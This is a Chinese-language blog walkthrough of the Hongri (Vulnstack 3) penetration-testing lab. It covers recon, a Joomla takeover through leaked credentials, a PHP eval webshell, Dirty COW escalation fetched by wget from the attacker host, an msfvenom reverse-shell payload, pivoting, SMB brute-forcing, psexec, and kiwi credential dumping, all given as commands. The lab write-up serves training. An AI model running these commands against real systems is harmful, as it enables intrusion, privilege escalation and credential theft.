红日内网靶场(三)通关流程
红日内网靶场(三)通关流程:
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/
第一步:安装靶场环境
这个靶场安装也比较简单,导入即用就行
只有一点注意事项
将web-centos虚拟机的外网网卡设置为NAT模式(桥接也可以,只要和自己攻击机一个模式就行,否则会话弹不回去)
这个靶场需要占用的内存有那么亿点大,个人建议内存至少>=32G,食用更佳(建议40G以上会更好)
web-centos网卡设置如下:
web1-ubantu网卡设置如下:
win2008网卡设置如下:
Windows Server 2012网卡设置如下:
pc网卡设置如下:
都设置完成后,需要在web-centos虚拟机上重启网卡
service network restart
至此,环境配置完成,可以开始实战了
第二步:实战
kali IP Address:192.168.48.129
Win10(综合渗透平台) IP Address:192.168.48.150
1. 信息收集
不必多说了吧,打完前两关也应该知道要怎么做了
arp-scan -l
去1,2,254三个,将自己的Win10也去掉,就只剩下151了,那就先对151动手
nmap -sS -sV -Pn -T5 192.168.48.151
开放了22,80和3306这三个端口,80肯定是有东西的,这个22和3306不知道会不会在接下来的渗透中起作用,先留意一下
先用浏览器看看这网站是个怎么回事
靶场打的多的话一眼看出来这是Joomla的CMS,但是光感觉也不是个事,用dirsearch扫一下就知道了
dirsearch --url http://192.168.48.151
有很多敏感文件,不过先去看看后台(/administrator目录)
现在确定是Joomla架构了,但是有个问题,这个密码我跑了挺久也没跑出来,说明不是弱口令
应该是其它的文件泄露了什么信息,这里面有个configuration.php~就很可疑,看看先
有点像是数据库的账号密码被泄露了,难道说这个MySQL 3306是可以远程连接的?
testuser/cvcvgjASD!@
如果嫌直接用命令行的MySQL操作复杂的话,可以用navicat工具远程连接数据库也是可以的,正好Win10 Penetration里面就集成了这个工具(都汉化了没理由不会用吧?)
连接进去后直接搜索表名中带users的表,凭感觉要么是第二个要么是第四个,先看看第二个
点进去后,发现这里的密码是加密过后的。不过没关系,我们可以给它改了,去cmd5上md5加密123456给它复制过来就行
123456的md5加密结果:e10adc3949ba59abbe56e057f20f883e
OK,保存一下,再尝试登录后台,这回是可以登录进去的
administrator/123456
那么信息收集部分就到此结束了,接下来就要开始外网打点了
2. 外网打点
不怎么了解JoomlaCMS架构的可以去网上搜一下,总之就是能写马就对了,写马路径依次点击
Extensions-->Templates-->beez3
这里你新建文件写马还是你直接改源文件都可以,这里我采取新建文件写马,点击菜单栏的New File
然后新建一个php文件就可以了,注意这个地方文件名不需要加后缀,文件类型更改完成后创建时会自动添加后缀名
php一句话木马的内容就不需要多说了吧?记得点下Save再退出
<?php @eval($_POST['cmd']);?>
然后去到Win10里面用蚁剑连接(Win10 Penetration自带蚁剑名字是AntSword,搜中国,中国蚁剑等关键词是出不来的)
http://192.168.48.151/templates/beez3/shell.php
然后就傻眼了,啥玩意都执行不了,再写一个phpinfo看看是不是开了什么东西
写完按照路径访问一下
http://192.168.48.151/templates/beez3/phpinfo.php
跟预想中的一样,开了disable_functions,把一些比较危险的函数都给禁用了
不过蚁剑是带插件,可以绕过disable_functions的,这个插件正好也被集成到了Win10 Penetration里面
先选中会话,然后选择点击红色方框中的这一个模式就可以了(需要注意的是这个插件并不能百分之百的绕过,有的时候一条命令会重复执行多次才有回显,是正常情况)
然后就可以看看是否打点成功了
等一下!有问题......
我们刚刚打的是192.168.48.151,这个地方ifconfig之后怎么只有一个192.168.93.120呢?
这里就是一个新的领域了:代理
为了通俗易懂,可能讲的地方些许会有些粗糙,欢迎各位大佬的指正
通俗点来说,代理服务器一般有两种工作模式,分别是:正向代理,反向代理
如果不深究其原理的话,正向代理和反向代理的主要区别其实一句话就能说清楚
正向代理时,服务器不知道客户端的存在;反向代理时,客户端不知道服务器的存在
如果能理解这一句话,那么这个地方到底是正向代理还是反向代理,就很好弄清楚了
我们刚开始渗透的时候,是不是只知道192.168.48.151这个IP地址,我们错把这个IP地址(或者说理所当然的)当作Web服务器了?
但实际情况是,你打进去后,返回的信息都不是你打的这一台(192.168.48.151)的,而是192.168.93.120的
你是不知道192.168.93.120的存在的,至少你在打进去之前不知道
所以这个地方很自然的,根据刚开始nmap扫描的结果来看,这个地方采用了Nginx反向代理
那么外网打点也结束了,又GET到一个新技能
3. 内网横向
这一个内网横向还是有点复杂的,因为忙活这么半天,我们才取得一个www-data的权限
我也不知道为什么会出现这样的问题,总之,在/tmp/mysql目录下存在一个test.txt文件,里面存放着一个用户和密码(运维出来挨打)
wwwuser/wwwuser_123Aqx
这也不像是数据库的,难道是刚刚扫的SSH的?尝试远程登录SSH(这个地方有关于SSH算法性质的问题,需要加上以下参数才能登录
ssh -o HostkeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa wwwuser@192.168.48.151
查看下内核版本和网卡信息,这才对得上号
uname -a / ifconfig
这个内核版本是存在脏牛提权漏洞的,但是我们却不能用一句话木马进行上传操作(因为反向代理)
鉴于各种版本的脏牛漏洞提权账号可能不太一样(有的提权后账号是root,有的提权后账号是firefart,这里发一份我自己的脏牛漏洞提权脚本
链接:https://pan.baidu.com/s/1HrKX_g7OYd2iZ1jHLJrWww?pwd=kmfp 提取码:kmfp
好在这个虚拟机是有外网的,我们可以在Kali中开启一个HTTP服务,将提权脚本放到Kali上,然后在SSH环境中利用wget即可下载到提权脚本
首先把提权脚本下载到Kali虚拟机上
然后使用Python开启HTTP服务
python3 -m http.server 8000
成功后,先在刚刚连接的SSH中切换到/tmp目录下,会发现有一个passwd.bak文件,将其删除后利用wget下载来自Kali的提权模块
cd /tmp
rm -rf passwd.bak
wget http://192.168.48.129:8000/dirty.c
下载完成后,还要进行编译才能使用
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456(123456是用户密码,可更改参数)
等待出现如下通知时,提权成功,可以切换至root用户了
root/123456
费了挺大力气的才拿到第一个靶机的Shell,那么现在才算正式开始横向渗透了
现在的Shell只是一个独立的Shell,没有办法利用其最大价值。不过我们已经有了一个后门用户(root/123456)了,而且控制了这一台靶机,我们可以使用msfvenom生成一个一句话木马,然后通过wget传到靶机上,最后在msfconsole中开启监听即可将Shell转移到MSF中
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.48.129 LPORT=886 -f elf > msf.elf
wget http://192.168.48.129:8000/msf.elf
MSF选择exploit/multi/handler模块就可以了,其余的跟生成的木马配置要统一
msfconsole
use exploit/multi/handler
set LHOST 192.168.48.129
set LPORT 886
set Payload linux/x86/meterpreter/reverse_tcp
run
监听开启后,去SSH那边./msf.elf就能激活木马,反弹一个Shell回来(记得要加777权限)
chmod 777 msf.elf
./msf.elf
这样我们就成功的将Shell转移到了MSF中,可以开始做内网的横向探测和攻击了
先看看网卡信息
ifconfig
有两张网卡,意味着要添加路由,扫描内网网段
添加路由:run autoroute -s 192.168.93.0/24
查看添加的路由:run autoroute -p
如果不添加内网路由,那对于192.168.93.0/24网段来说,Kali主机的192.168.48.0/24网段就没有办法对该内网进行进一步的测试,因为网络没有办法到达
有了路由之后,我们就可以进一步扫描内网了,先将会话background起来(挂起但不关闭会话)
background
MSF中还有一个Smb探测的模块:auxiliary/scanner/smb/smb_version,用在这个地方很合适
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.93.0/24
run
可以发现扫描出了10,20,30三台内网主机存在Smb服务,那么这攻击方式就多了
比如MS17_010,MS08_067,都是可以针对139,445端口去进行攻击的
但是实验过后证明都不可取
那么回归原始,我们用最暴力的方式:Smb暴力破解
不过在暴力破解之前,我们得先创两个字典(有的Top10000里面有密码,有的没有,干脆省去麻烦自己建一个密码字典就行,实战中字典越大肯定成功率越高,这里只是打靶场,算是变相简化过程)
user.txt里面内容如下
guest
administrator
anonymous
testuser
user
admin
pass.txt里面内容如下
123456
P@ssw0rd
root123...
FlyingFirework(来来来你告诉我这个东西是不是夹带私货?)
123qwe!ASD
QwErTyUiOp
字典创建完成后,就可以开始暴力破解了
use auxiliary/scanner/smb/smb_version
set PASS_FILE pass.txt
set USER_FILE user.txt
set RHOSTS 192.168.93.10,20,30
run
10没有跑出来任何东西,但是20和30的Smb密码都跑出来了,所以我们直接用MSF连接Smb就可以了
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.20,30
set SMBUser administrator
set SMBPass 123qwe!ASD
set Payload windows/meterpreter/bind_tcp
run
这样,我们就获取到了三台靶机的最高权限了,下面可以开始进程迁移
getpid(查看当前进程号)
ps(查看所有进程)
migrate 624(迁移到svchost.exe进程上)(这个PID根据自己选择即可,并不固定)
但是10的密码也暴力破解不出来怎么整?
先不着急,看看10是域控还是域内的主机,随便用20,30其中一台的Shell去收集一下信息
利用ifconfig /all查看IP地址发现DNS和域信息,尝试Ping域名发现域名解析后就是DNS地址信息,域控基本上稳了
调用20的meterpreter,加载kiwi模块,然后直接creds_all跑出所有凭证
load kiwi
creds_all
OK,很成功的跑出了域属Administrator的密码为zxcASDqw123!!,那直接再次启用psexec
不知道为什么,攻击可以成功,但是没有会话弹过来,那看来只有一种办法了,挂全局代理连接Smb
这里需要用到socks代理,先配置proxychains文件,拉到最下面
vim /etc/proxychains4.conf
只需要配置一行即可,IP地址为自己Kali的IP地址,1080是代理端口号
保存退出后,在MSF中使用如下模块
use auxiliary/server/socks_proxy
这里需要自己配置
set SRVHOST 192.168.48.129
set SRVPORT 1080
set VERSION 4a
run
配置完成后,在使用命令时在前面加上proxychains,就可以以代理的模式走MSF的路由使用了
我们先连接192.168.93.20的Smb服务
proxychains smbclient //192.168.93.10/C$ -U test.org\\administrator
输入密码后,我们就得到了10的smbclient交互界面,flag在C:/Users/Administrator/Documents/flag.txt,我们直接去查就可以了
cd Users\Administrator\Documents
get flag.txt
下载完成后就可以在Kali里面看到flag了,结束!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具